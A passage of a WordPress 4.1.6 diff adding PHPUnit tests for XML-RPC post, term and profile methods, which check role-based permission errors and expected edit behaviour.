+		$post = array( 'title' => 'Test' );
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+	}
+
+	function test_ignore_id() {
+		$this->make_user_by_role( 'author' );
+
+		$post = array( 'title' => 'Test', 'ID' => 103948 );
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertNotEquals( '103948', $result );
+	}
+
+	function test_capable_publish() {
+		$this->make_user_by_role( 'author' );
+
+		$post = array( 'title' => 'Test', 'post_status' => 'publish' );
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+	}
+
+	function test_incapable_publish() {
+		$this->make_user_by_role( 'contributor' );
+
+		$post = array( 'title' => 'Test', 'post_status' => 'publish' );
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'contributor', 'contributor', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_capable_other_author() {
+		$this->make_user_by_role( 'editor' );
+		$other_author_id = $this->make_user_by_role( 'author' );
+
+		$post = array( 'title' => 'Test', 'wp_author_id' => $other_author_id );
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+	}
+
+	function test_incapable_other_author() {
+		$this->make_user_by_role( 'contributor' );
+		$other_author_id = $this->make_user_by_role( 'author' );
+
+		$post = array( 'title' => 'Test', 'wp_author_id' => $other_author_id );
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'contributor', 'contributor', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	/**
+	 * @ticket 20356
+	 */
+	function test_invalid_author() {
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'title' => 'Test', 'wp_author_id' => 99999999 );
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 404, $result->code );
+	}
+
+	function test_empty_author() {
+		$my_author_id = $this->make_user_by_role( 'author' );
+
+		$post = array( 'title' => 'Test' );
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+
+		$out = get_post( $result );
+		$this->assertEquals( $my_author_id, $out->post_author );
+		$this->assertEquals( 'Test', $out->post_title );
+	}
+
+	function test_post_thumbnail() {
+		add_theme_support( 'post-thumbnails' );
+
+		$this->make_user_by_role( 'author' );
+
+		// create attachment
+		$filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+		$contents = file_get_contents( $filename );
+		$upload = wp_upload_bits( $filename, null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		$attachment = array(
+			'post_title' => 'Post Thumbnail',
+			'post_type' => 'attachment',
+			'post_mime_type' => 'image/jpeg',
+			'guid' => $upload['url']
+		);
+		$attachment_id = wp_insert_attachment( $attachment, $upload['file'] );
+
+		$post = array( 'title' => 'Post Thumbnail Test', 'wp_post_thumbnail' => $attachment_id );
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $attachment_id, get_post_meta( $result, '_thumbnail_id', true ) );
+
+		remove_theme_support( 'post-thumbnails' );
+	}
+
+	function test_incapable_set_post_type_as_page() {
+		$this->make_user_by_role( 'author' );
+
+		$post = array( 'title' => 'Test', 'post_type' => 'page' );
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_capable_set_post_type_as_page() {
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'title' => 'Test', 'post_type' => 'page' );
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'editor', 'editor', $post ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertStringMatchesFormat( '%d', $result );
+
+		$out = get_post( $result );
+		$this->assertEquals( 'Test', $out->post_title );
+		$this->assertEquals( 'page', $out->post_type );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/deletePost.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/deletePost.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/deletePost.php	(revision 33402)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_deletePost extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_deletePost( array( 1, 'username', 'password', 0 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_invalid_post() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_deletePost( array( 1, 'editor', 'editor', 340982340 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 404, $result->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+		$post_id = $this->factory->post->create();
+
+		$result = $this->myxmlrpcserver->wp_deletePost( array( 1, 'subscriber', 'subscriber', $post_id ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_post_deleted() {
+		$this->make_user_by_role( 'editor' );
+		$post_id = $this->factory->post->create();
+
+		$result = $this->myxmlrpcserver->wp_deletePost( array( 1, 'editor', 'editor', $post_id ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue( $result );
+
+		$post = get_post( $post_id );
+		$this->assertEquals( 'trash', $post->post_status );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/deleteTerm.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/deleteTerm.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/deleteTerm.php	(revision 33402)
@@ -0,0 +1,74 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_deleteTerm extends WP_XMLRPC_UnitTestCase {
+	var $term;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->term = wp_insert_term( 'term' . rand_str() , 'category' );
+		$this->assertInternalType( 'array', $this->term );
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'username', 'password', 'category', 0 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_empty_taxonomy() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'subscriber', 'subscriber', '', 0 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_invalid_taxonomy() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'subscriber', 'subscriber', 'not_existing', 0 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'subscriber', 'subscriber', 'category', $this->term['term_id'] ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+		$this->assertEquals( __( 'You are not allowed to delete terms in this taxonomy.' ), $result->message );
+	}
+
+	function test_empty_term() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'editor', 'editor', 'category', '' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 500, $result->code );
+		$this->assertEquals( __('Empty Term'), $result->message );
+	}
+
+	function test_invalid_term() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'editor', 'editor', 'category', 9999 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 404, $result->code );
+		$this->assertEquals( __('Invalid term ID'), $result->message );
+	}
+
+	function test_term_deleted() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_deleteTerm( array( 1, 'editor', 'editor', 'category', $this->term['term_id'] ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertInternalType( 'boolean', $result );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/editPost.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/editPost.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/editPost.php	(revision 33402)
@@ -0,0 +1,396 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_editPost extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'username', 'password', 0, array() ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_edit_own_post() {
+		$contributor_id = $this->make_user_by_role( 'contributor' );
+
+		$post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+		$post_id = wp_insert_post( $post );
+
+		$new_title = 'Post test (updated)';
+		$post2 = array( 'post_title' => $new_title );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'contributor', 'contributor', $post_id, $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue($result);
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $new_title, $out->post_title );
+	}
+
+	function test_capable_edit_others_post() {
+		$contributor_id = $this->make_user_by_role( 'contributor' );
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+		$post_id = wp_insert_post( $post );
+
+		$new_title = 'Post test (updated)';
+		$post2 = array( 'post_title' => $new_title );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue($result);
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $new_title, $out->post_title );
+	}
+
+	function test_incapable_edit_others_post() {
+		$this->make_user_by_role( 'contributor' );
+		$author_id = $this->make_user_by_role( 'author' );
+
+		$original_title = 'Post test';
+		$post = array( 'post_title' => $original_title, 'post_author' => $author_id );
+		$post_id = wp_insert_post( $post );
+
+		$new_title = 'Post test (updated)';
+		$post2 = array( 'post_title' => $new_title );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'contributor', 'contributor', $post_id, $post2 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $original_title, $out->post_title );
+	}
+
+	function test_capable_reassign_author() {
+		$contributor_id = $this->make_user_by_role( 'contributor' );
+		$author_id = $this->make_user_by_role( 'author' );
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+		$post_id = wp_insert_post( $post );
+
+		$post2 = array( 'post_author' => $author_id );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue($result);
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $author_id, $out->post_author );
+	}
+
+	function test_incapable_reassign_author() {
+		$contributor_id = $this->make_user_by_role( 'contributor' );
+		$author_id = $this->make_user_by_role( 'author' );
+
+		$post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+		$post_id = wp_insert_post( $post );
+
+		$post2 = array( 'post_author' => $author_id );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'contributor', 'contributor', $post_id, $post2 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $contributor_id, $out->post_author );
+	}
+
+	function test_post_thumbnail() {
+		add_theme_support( 'post-thumbnails' );
+
+		$author_id = $this->make_user_by_role( 'author' );
+
+		$post = array( 'post_title' => 'Post Thumbnail Test', 'post_author' => $author_id );
+		$post_id = wp_insert_post( $post );
+
+		$this->assertEquals( '', get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+		// create attachment
+		$filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+		$contents = file_get_contents( $filename );
+		$upload = wp_upload_bits( $filename, null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		$attachment = array(
+			'post_title' => 'Post Thumbnail',
+			'post_type' => 'attachment',
+			'post_mime_type' => 'image/jpeg',
+			'guid' => $upload['url']
+		);
+		$attachment_id = wp_insert_attachment( $attachment, $upload['file'], $post_id );
+
+		// add post thumbnail to post that does not have one
+		$post2 = array( 'post_thumbnail' => $attachment_id );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'author', 'author', $post_id, $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $attachment_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+		// fetch the post to verify that it appears
+		$result = $this->myxmlrpcserver->wp_getPost( array( 1, 'author', 'author', $post_id ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertArrayHasKey( 'post_thumbnail', $result );
+		$this->assertInternalType( 'array', $result['post_thumbnail'] );
+		$this->assertEquals( $attachment_id, $result['post_thumbnail']['attachment_id'] );
+
+		// edit the post without supplying a post_thumbnail and check that it didn't change
+		$post3 = array( 'post_content' => 'Updated post' );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'author', 'author', $post_id, $post3 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $attachment_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+		// create another attachment
+		$attachment2 = array_merge( $attachment, array( 'post_title' => 'Post Thumbnail 2' ) );
+		$attachment2_id = wp_insert_attachment( $attachment2, $upload['file'], $post_id );
+
+		// change the post's post_thumbnail
+		$post4 = array( 'post_thumbnail' => $attachment2_id );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'author', 'author', $post_id, $post4 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $attachment2_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+		// unset the post's post_thumbnail
+		$post5 = array( 'post_thumbnail' => '' );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'author', 'author', $post_id, $post5 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( '', get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+		// use invalid ID
+		$post6 = array( 'post_thumbnail' => 398420983409 );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'author', 'author', $post_id, $post6 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 404, $result->code );
+
+		remove_theme_support( 'post-thumbnails' );
+	}
+
+	function test_edit_custom_fields() {
+		$contributor_id = $this->make_user_by_role( 'contributor' );
+
+		$post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+		$post_id = wp_insert_post( $post );
+		$mid_edit   = add_post_meta( $post_id, 'custom_field_key', '12345678' );
+		$mid_delete = add_post_meta( $post_id, 'custom_field_to_delete', '12345678' );
+
+		$new_title = 'Post test (updated)';
+		$post2 = array(
+			'post_title' => $new_title,
+			'custom_fields' =>
+				array(
+					array( 'id' => $mid_delete ),
+					array( 'id' => $mid_edit, 'key' => 'custom_field_key', 'value' => '87654321' ),
+					array( 'key' => 'custom_field_to_create', 'value' => '12345678' )
+				)
+		);
+
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'contributor', 'contributor', $post_id, $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue($result);
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $new_title, $out->post_title );
+
+		$edited_object = get_metadata_by_mid( 'post', $mid_edit );
+		$this->assertEquals( '87654321', $edited_object->meta_value );
+		$this->assertFalse( get_metadata_by_mid( 'post', $mid_delete ) );
+
+		$created_object = get_post_meta( $post_id, 'custom_field_to_create', true );
+		$this->assertEquals( $created_object, '12345678' );
+	}
+
+	function test_capable_unsticky() {
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		$post_id = $this->factory->post->create( array( 'post_author' => $editor_id ) );
+		stick_post( $post_id );
+
+		$post2 = array( 'sticky' => false );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertFalse( is_sticky( $post_id ) );
+	}
+
+	function test_password_transition_unsticky() {
+		// when transitioning to private status or adding a post password, post should be un-stuck
+		$editor_id = $this->make_user_by_role( 'editor' );
+		$post_id = $this->factory->post->create( array( 'post_author' => $editor_id ) );
+		stick_post( $post_id );
+
+		$post2 = array( 'post_password' => 'foobar',  'sticky' => false );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertFalse( is_sticky( $post_id ) );
+	}
+
+	function test_if_not_modified_since() {
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		$yesterday = strtotime( '-1 day' );
+
+		$post_id = $this->factory->post->create( array(
+			'post_title'   => 'Post Revision Test',
+			'post_content' => 'Not edited',
+			'post_author'  => $editor_id,
+			'post_status'  => 'publish',
+			'post_date'    => date( 'Y-m-d H:i:s', $yesterday ),
+		) );
+
+		// Modify the day old post. In this case, we think it was last modified yesterday.
+		$struct = array( 'post_content' => 'First edit', 'if_not_modified_since' => new IXR_Date( $yesterday ) );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $struct ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// Make sure the edit went through.
+		$this->assertEquals( 'First edit', get_post( $post_id )->post_content );
+
+		// Modify it again. We think it was last modified yesterday, but we actually just modified it above.
+		$struct = array( 'post_content' => 'Second edit', 'if_not_modified_since' => new IXR_Date( $yesterday ) );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $struct ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 409, $result->code );
+
+		// Make sure the edit did not go through.
+		$this->assertEquals( 'First edit', get_post( $post_id )->post_content );
+	}
+
+	function test_edit_attachment() {
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		$post_id = $this->factory->post->create( array(
+			'post_title'   => 'Post Revision Test',
+			'post_content' => 'Not edited',
+			'post_status'  => 'inherit',
+			'post_type'    => 'attachment',
+			'post_author'  => $editor_id,
+		) );
+
+		$struct = array( 'post_content' => 'First edit' );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $struct ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// Make sure that the post status is still inherit
+		$this->assertEquals( 'inherit', get_post( $post_id )->post_status );
+	}
+
+	function test_use_invalid_post_status() {
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		$post_id = $this->factory->post->create( array(
+			'post_title'   => 'Post Revision Test',
+			'post_content' => 'Not edited',
+			'post_author'  => $editor_id,
+		) );
+
+		$struct = array( 'post_status' => 'doesnt_exists' );
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $struct ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// Make sure that the post status is still inherit
+		$this->assertEquals( 'draft', get_post( $post_id )->post_status );
+	}
+
+	/**
+	 * @ticket 22220
+	 */
+	function test_loss_of_categories_on_edit() {
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		$post_id = $this->factory->post->create( array( 'post_author'  => $editor_id ) );
+		$term_id = $this->factory->category->create();
+		$this->factory->term->add_post_terms( $post_id, $term_id, 'category', true );
+		$term_ids = wp_list_pluck( get_the_category( $post_id ), 'term_id' );
+		$this->assertContains( $term_id, $term_ids );
+
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, array( 'ID' => $post_id, 'post_title' => 'Updated' ) ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 'Updated', get_post( $post_id )->post_title );
+
+		$term_ids = wp_list_pluck( get_the_category( $post_id ), 'term_id' );
+		$this->assertContains( $term_id, $term_ids );
+	}
+
+	/**
+	 * @ticket 26686
+	 */
+	function test_clear_categories_on_edit() {
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		$post_id = $this->factory->post->create( array( 'post_author'  => $editor_id ) );
+		$term_id = $this->factory->category->create();
+		$this->factory->term->add_post_terms( $post_id, $term_id, 'category', true );
+		$term_ids = wp_list_pluck( get_the_category( $post_id ), 'term_id' );
+		$this->assertContains( $term_id, $term_ids );
+
+		$new_post_content = array(
+			'ID' => $post_id,
+			'post_title' => 'Updated',
+			'terms' => array(
+				'category' => array()
+			)
+		);
+		$result = $this->myxmlrpcserver->wp_editPost( array( 1, 'editor', 'editor', $post_id, $new_post_content ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 'Updated', get_post( $post_id )->post_title );
+
+		$term_ids = wp_list_pluck( get_the_category( $post_id ), 'term_id' );
+		$this->assertNotContains( $term_id, $term_ids );
+	}
+
+	/**
+	 * @ticket 23219
+	 */
+	function test_add_enclosure_if_new() {
+		// Sample enclosure data
+		$enclosure = array(
+			'url'    => 'http://example.com/sound.mp3',
+			'length' => 12345,
+			'type'   => 'audio/mpeg',
+		);
+
+		// Second sample enclosure data array
+		$new_enclosure = array(
+			'url'    => 'http://example.com/sound2.mp3',
+			'length' => 12345,
+			'type'   => 'audio/mpeg',
+		);
+
+		// Create a test user
+		$editor_id = $this->make_user_by_role( 'editor' );
+
+		// Add a dummy post
+		$post_id = $this->factory->post->create( array(
+			'post_title'   => 'Post Enclosure Test',
+			'post_content' => 'Fake content',
+			'post_author'  => $editor_id,
+			'post_status'  => 'publish',
+		) );
+
+		// Add the enclosure as it is added in "do_enclose()"
+		$enclosure_string = "{$enclosure['url']}\n{$enclosure['length']}\n{$enclosure['type']}\n";
+		add_post_meta( $post_id, 'enclosure', $enclosure_string );
+
+		// Verify that the correct data is there
+		$this->assertEquals( $enclosure_string, get_post_meta( $post_id, 'enclosure', true ) );
+
+		// Attempt to add the enclosure a second time
+		$this->myxmlrpcserver->add_enclosure_if_new( $post_id, $enclosure );
+
+		// Verify that there is only a single value in the array and that a duplicate is not present
+		$this->assertEquals( 1, count( get_post_meta( $post_id, 'enclosure' ) ) );
+
+		// For good measure, check that the expected value is in the array
+		$this->assertTrue( in_array( $enclosure_string, get_post_meta( $post_id, 'enclosure' ) ) );
+
+		// Attempt to add a brand new enclosure via XML-RPC
+		$this->myxmlrpcserver->add_enclosure_if_new( $post_id, $new_enclosure );
+
+		// Having added the new enclosure, 2 values are expected in the array
+		$this->assertEquals( 2, count( get_post_meta( $post_id, 'enclosure' ) ) );
+
+		// Check that the new enclosure is in the enclosure meta
+		$new_enclosure_string = "{$new_enclosure['url']}\n{$new_enclosure['length']}\n{$new_enclosure['type']}\n";
+		$this->assertTrue( in_array( $new_enclosure_string, get_post_meta( $post_id, 'enclosure' ) ) );
+
+		// Check that the old enclosure is in the enclosure meta
+		$this->assertTrue( in_array( $enclosure_string, get_post_meta( $post_id, 'enclosure' ) ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/editProfile.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/editProfile.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/editProfile.php	(revision 33402)
@@ -0,0 +1,69 @@
+<?php
+
+/**
+ * @group xmlrpc
+ * @group user
+ */
+class Tests_XMLRPC_wp_editProfile extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_editProfile( array( 1, 'username', 'password', array() ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+    function test_subscriber_profile() {
+        $subscriber_id = $this->make_user_by_role( 'subscriber' );
+
+        $new_data = array(
+            'first_name' => rand_str(),
+            'last_name' => rand_str(),
+            'url' => 'http://www.example.org/subscriber',
+            'display_name' => rand_str(),
+            'nickname' => rand_str(),
+            'nicename' => rand_str(),
+            'bio' => rand_str(200)
+        );
+        $result = $this->myxmlrpcserver->wp_editProfile( array( 1, 'subscriber', 'subscriber', $new_data ) );
+        $this->assertNotInstanceOf( 'IXR_Error', $result );
+        $this->assertTrue( $result );
+
+        // verify that the new values were stored
+        $user_data = get_userdata( $subscriber_id );
+        $this->assertEquals( $new_data['first_name'], $user_data->first_name );
+        $this->assertEquals( $new_data['last_name'], $user_data->last_name );
+        $this->assertEquals( $new_data['url'], $user_data->user_url );
+        $this->assertEquals( $new_data['display_name'], $user_data->display_name );
+        $this->assertEquals( $new_data['nickname'], $user_data->nickname );
+        $this->assertEquals( $new_data['nicename'], $user_data->user_nicename );
+        $this->assertEquals( $new_data['bio'], $user_data->description );
+    }
+
+    function test_ignore_password_change() {
+        $this->make_user_by_role( 'author' );
+        $new_pass = rand_str();
+        $new_data = array( 'password' => $new_pass );
+
+        $result = $this->myxmlrpcserver->wp_editProfile( array( 1, 'author', 'author', $new_data ) );
+        $this->assertNotInstanceOf( 'IXR_Error', $result );
+        $this->assertTrue( $result );
+
+        $auth_old = wp_authenticate( 'author', 'author' );
+        $auth_new = wp_authenticate( 'author', $new_pass );
+        $this->assertInstanceOf( 'WP_User', $auth_old );
+        $this->assertTrue( is_wp_error( $auth_new ) );
+    }
+
+    function test_ignore_email_change() {
+        $editor_id = $this->make_user_by_role( 'editor' );
+        $new_email = rand_str() . '@example.com';
+        $new_data = array( 'email' => $new_email );
+
+        $result = $this->myxmlrpcserver->wp_editProfile( array( 1, 'editor', 'editor', $new_data ) );
+        $this->assertNotInstanceOf( 'IXR_Error', $result );
+        $this->assertTrue( $result );
+
+        $user_data = get_userdata( $editor_id );
+        $this->assertNotEquals( $new_email, $user_data->email );
+    }
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/editTerm.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/editTerm.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/editTerm.php	(revision 33402)
@@ -0,0 +1,136 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_editTerm extends WP_XMLRPC_UnitTestCase {
+	var $parent_term;
+	var $child_term;
+	var $post_tag;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->parent_term = wp_insert_term( 'parent' . rand_str() , 'category' );
+		$this->assertInternalType( 'array', $this->parent_term );
+		$this->child_term = wp_insert_term( 'child' . rand_str() , 'category' );
+		$this->assertInternalType( 'array', $this->child_term );
+		$this->post_tag = wp_insert_term( 'test' . rand_str() , 'post_tag' );
+		$this->assertInternalType( 'array', $this->post_tag );
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'username', 'password', 'category', 1 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_empty_taxonomy() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'subscriber', 'subscriber', '', array( 'taxonomy' => '' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_invalid_taxonomy() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'subscriber', 'subscriber', $this->parent_term['term_id'], array( 'taxonomy' => 'not_existing' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'subscriber', 'subscriber', $this->parent_term['term_id'], array( 'taxonomy' => 'category' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+		$this->assertEquals( __( 'You are not allowed to edit terms in this taxonomy.' ), $result->message );
+	}
+
+	function test_term_not_exists() {
+		$this->make_user_by_role( 'editor' );
+
